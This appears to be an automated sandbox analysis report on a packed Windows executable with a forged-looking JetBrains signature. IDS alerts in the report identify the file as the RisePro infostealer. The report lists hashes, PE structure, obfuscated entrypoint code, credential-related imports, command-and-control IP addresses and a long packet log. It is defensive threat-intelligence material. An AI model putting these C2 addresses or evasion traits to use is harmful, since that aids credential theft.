SHA512:	2e09e23fba3040557796597f035df44915d1ddfb9cf6f3a9191201c5da3e5af2251ff375abf3b1039dba79a8aa2126643f633302d5231d688f3131fe28a3033b
SSDEEP:	98304:/QIXx6MIstciFwPv4YSal2RbRUYd9ZqQ36O44LTNo:/xIsthFwXEalkC89Zf361Z
TLSH:	AF06237B1AF295E0E9A641BC4663BABD30F05913116C4C2ED128ADD2E5E391F54F32CB
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...^.%f...............'..............l...........@..........................`q.....I.8...@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xacf3d4
Entrypoint Section:	.vmp,,,2
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6625EF5E [Mon Apr 22 05:02:22 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	fce2185f86316405847dae4f4adccdc7

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=JetBrains s.r.o. \xef~\ufffd\u2030E\xb0j\xef~\ufffd\u2030E\xb0j\xef~\ufffd\u2030E\xb0j
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	17/04/2024 16:34:05 18/04/2034 16:34:05
Subject Chain	CN=JetBrains s.r.o. \xef~\ufffd\u2030E\xb0j\xef~\ufffd\u2030E\xb0j\xef~\ufffd\u2030E\xb0j
Version:	3
Thumbprint MD5:	A96F06B6F24AD5AC1F53F9E5FDC0816B
Thumbprint SHA-1:	1D5DFDA0FA0BA343BFD2968DF6A15E25F35D6528
Thumbprint SHA-256:	7FFEEEB0D9CA132A77BA827622D3E460C6720D7036CE7D88F80DC97C059696E4
Serial:	5E264BB6F748A1A54136979D5C99F11C

Entrypoint Preview

Instruction
pushfd
mov dword ptr [esp+00h], F1C2C800h
call 00007F3E8580C706h
clc
test si, si
lea edx, dword ptr [edx+edi]
mov edi, dword ptr [ebp-38h]
test ax, 00001E30h
stc
shl dword ptr [ebp-1Ch], 1
jmp 00007F3E8579C6F9h
jnl 00007F3E857B8571h
not ax
dec word ptr [esp+0Ch]
jnl 00007F3E85599CDCh
jo 00007F3E85584707h
mov dword ptr [esp+00h], B4202EA1h
add eax, edx
sar word ptr [esp+05h], 0006h
call 00007F3E858F78CFh
add cl, FFFFFF8Ch
mov cl, 80h
setno cl
mov ecx, dword ptr [esp+esi*2-2D568C60h]
mov dword ptr [esp+0Ch], 135B3C7Ch
mov esi, dword ptr [esp+esi*2-2D568C64h]
jno 00007F3E858DE74Fh
adc esi, 00000002h
mov dword ptr [esp+00h], B0A1F826h
call 00007F3E858E5D47h
add esi, 00000004h
jmp 00007F3E8579B912h
dec edi
js 00007F3E858C0CFBh
xor eax, 30C13EFDh
int3
push ds
mov bl, FDh
push CE801423h
sub eax, 9C5141C8h
dec ecx
mov ecx, 48B25328h
xchg eax, ebx
test dword ptr [ebx], ebp
dec eax
mov dword ptr [esp+10h], 4110AF04h
dec esp
mov ecx, dword ptr [esp+08h]
push dword ptr [esp+00h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5b7630	0x140	.vmp,,,2
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x715000	0x322	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x389800	0x39b0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x713000	0x1a88	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x711fa0	0x18	.vmp,,,2
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x7121b0	0x40	.vmp,,,2
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x38b000	0x8c	.vmp,,,1
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x6e655c	0x40	.vmp,,,2
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x158af8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x15a000	0x27b5a	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x182000	0x4930	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp,,,0	0x187000	0x20334e	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp,,,1	0x38b000	0x72c	0x800	e1fcd1f9c61ce72905f1eed2fd8d8b52	False	0.05615234375	data	0.3452228900721117	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp,,,2	0x38c000	0x386a60	0x386c00	541e0583234d3df842a935299bb263d9	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x713000	0x1a88	0x1c00	c39990aa4855444f88eb2192eaaa78cf	False	0.38797433035714285	data	5.793938184266658	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x715000	0x322	0x400	40bf5d4c229c8343477c364767bc251a	False	0.3984375	data	4.416313906529734	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x715058	0x2ca	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5028011204481793

Imports

DLL	Import
KERNEL32.dll	GetVersionExA
USER32.dll	wsprintfA
GDI32.dll	CreateCompatibleBitmap
ADVAPI32.dll	RegQueryValueExA
SHELL32.dll	ShellExecuteA
ole32.dll	CoInitialize
WS2_32.dll	WSAStartup
CRYPT32.dll	CryptUnprotectData
SHLWAPI.dll	PathFindExtensionA
gdiplus.dll	GdipGetImageEncoders
SETUPAPI.dll	SetupDiEnumDeviceInfo
ntdll.dll	RtlUnicodeStringToAnsiString
RstrtMgr.DLL	RmStartSession
KERNEL32.dll	GetSystemTimeAsFileTime
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
04/24/24-14:43:00.371414	TCP	2049060	ET TROJAN RisePro TCP Heartbeat Packet	49707	50500	192.168.2.8	193.233.132.47
04/24/24-14:43:15.026610	TCP	2019714	ET CURRENT_EVENTS Terse alphanumeric executable downloader high likelihood of being hostile	49710	80	192.168.2.8	193.233.132.175
04/24/24-14:43:01.053353	TCP	2046267	ET TROJAN [ANY.RUN] RisePro TCP (External IP)	50500	49707	193.233.132.47	192.168.2.8
04/24/24-14:43:00.696309	TCP	2046266	ET TROJAN [ANY.RUN] RisePro TCP (Token)	50500	49707	193.233.132.47	192.168.2.8
04/24/24-14:43:03.189289	TCP	2046268	ET TROJAN [ANY.RUN] RisePro TCP v.0.x (Get_settings)	49707	50500	192.168.2.8	193.233.132.47

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 24, 2024 14:43:00.014436007 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:00.355151892 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:00.355233908 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:00.371413946 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:00.696309090 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:00.712335110 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:00.712495089 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:00.813985109 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:01.053353071 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:01.095072031 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:01.203187943 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:01.363914967 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:01.363945961 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:01.364003897 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:01.367695093 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:01.367707014 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:01.733896971 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:01.733984947 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:01.738508940 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:01.738521099 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:01.738945961 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:01.782551050 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:01.793503046 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:01.836127043 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:02.117070913 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:02.117403030 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:02.117552996 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:02.120062113 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:02.120089054 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:02.120119095 CEST	49708	443	192.168.2.8	34.117.186.192
Apr 24, 2024 14:43:02.120126009 CEST	443	49708	34.117.186.192	192.168.2.8
Apr 24, 2024 14:43:02.278856993 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:02.278888941 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:02.278965950 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:02.279324055 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:02.279330015 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:02.614535093 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:02.614682913 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:02.617454052 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:02.617470980 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:02.617809057 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:02.619229078 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:02.660120010 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:03.187217951 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:03.187336922 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:03.187436104 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:03.188513994 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:03.188535929 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:03.188554049 CEST	49709	443	192.168.2.8	104.26.5.15
Apr 24, 2024 14:43:03.188560963 CEST	443	49709	104.26.5.15	192.168.2.8
Apr 24, 2024 14:43:03.189289093 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:03.580693960 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:03.626336098 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:03.626521111 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:03.981460094 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:04.032568932 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:04.063956976 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:04.421032906 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:04.421060085 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:04.421139956 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:04.421180964 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:04.421211958 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:04.421257019 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:04.421323061 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:04.470074892 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:04.501487017 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:04.858139038 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:04.907620907 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:04.939300060 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:05.295721054 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:05.345089912 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.110909939 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.118944883 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.459732056 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.459764004 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.459853888 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.459934950 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.459945917 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.459963083 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.459981918 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.460037947 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.501384974 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.503840923 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.800760031 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.800904036 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.800916910 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.800983906 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.801132917 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.801167965 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.801218987 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.801237106 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.801297903 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.801347017 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.801361084 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.801429033 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.801587105 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.801656008 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.801789999 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.801847935 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:08.845673084 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:08.845788002 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.141952038 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.141978979 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.142081976 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.142085075 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.142117977 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.142159939 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.142187119 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.142326117 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.142384052 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.142415047 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.142458916 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.142476082 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.142508984 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.142546892 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.142602921 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.142752886 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.142805099 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.142999887 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143063068 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.143100977 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143130064 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143156052 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.143173933 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143189907 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.143218994 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143229008 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.143277884 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143285036 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.143306971 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143327951 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.143357038 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.143395901 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143446922 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.143567085 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.143624067 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.186636925 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.186654091 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.186728954 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.186764002 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.482964993 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.482992887 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483028889 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483078957 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483120918 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.483249903 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483339071 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483361006 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.483396053 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.483530998 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483546972 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483597994 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.483618975 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483675003 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.483788013 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483839035 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.483923912 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.483982086 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.484242916 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.484256029 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.484294891 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.484317064 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.484322071 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.484371901 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.484505892 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.484519005 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.484549046 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.484579086 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.484602928 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.484707117 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.484761953 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.484986067 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485018969 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485035896 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.485069990 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.485106945 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485157013 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.485235929 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485281944 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.485343933 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485388041 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.485441923 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485488892 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.485614061 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485661983 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.485672951 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485735893 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.485888004 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.485940933 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486058950 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486112118 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486126900 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486176968 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486215115 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486269951 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486303091 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486350060 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486366987 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486421108 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486489058 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486537933 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486612082 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486665964 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486746073 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486758947 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.486792088 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.486814022 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.527534962 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.527560949 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.527658939 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.527678013 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.527704000 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.527870893 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.824130058 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824217081 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824228048 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824239969 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824292898 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824435949 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824481010 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824511051 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.824565887 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824572086 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.824636936 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.824695110 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824748993 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.824775934 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824826002 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.824871063 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.824922085 CEST	49707	50500	192.168.2.8	193.233.132.47
Apr 24, 2024 14:43:09.825254917 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.825268030 CEST	50500	49707	193.233.132.47	192.168.2.8
Apr 24, 2024 14:43:09.825292110 CEST	50500	49707	193.233.132.47	192.168.2.8
